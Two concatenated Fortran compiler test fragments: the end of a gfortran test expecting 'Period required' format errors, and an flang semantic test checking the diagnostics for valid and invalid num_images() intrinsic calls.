      character(6)  :: str
      character(12) :: input = "1234abcdef"
      read(input,'(f4,a6)') aval, str  !{ dg-error "Period required" }
      read(input,'(d10,a6)') aval, str !{ dg-error "Period required" }
      end


! RUN: %S/test_errors.sh %s %t %flang_fc1
! Check for semantic errors in num_images() function calls

subroutine test

  ! correct calls, should produce no errors
  print *, num_images()
  print *, num_images(team_number=1)
  print *, num_images(1)

  ! incorrectly typed argument
  ! the error is seen as too many arguments to the num_images() call with no arguments
  !ERROR: too many actual arguments for intrinsic 'num_images'
  print *, num_images(3.4)

  ! call with too many arguments
  !ERROR: too many actual arguments for intrinsic 'num_images'
  print *, num_images(1, 1)

  ! keyword argument with incorrect type
  !ERROR: unknown keyword argument to intrinsic 'num_images'
  print *, num_images(team_number=3.4)

  ! incorrect keyword argument
  !ERROR: unknown keyword argument to intrinsic 'num_images'
  print *, num_images(team_numbers=1)

  !TODO: test num_images() calls related to team_type argument

end subroutine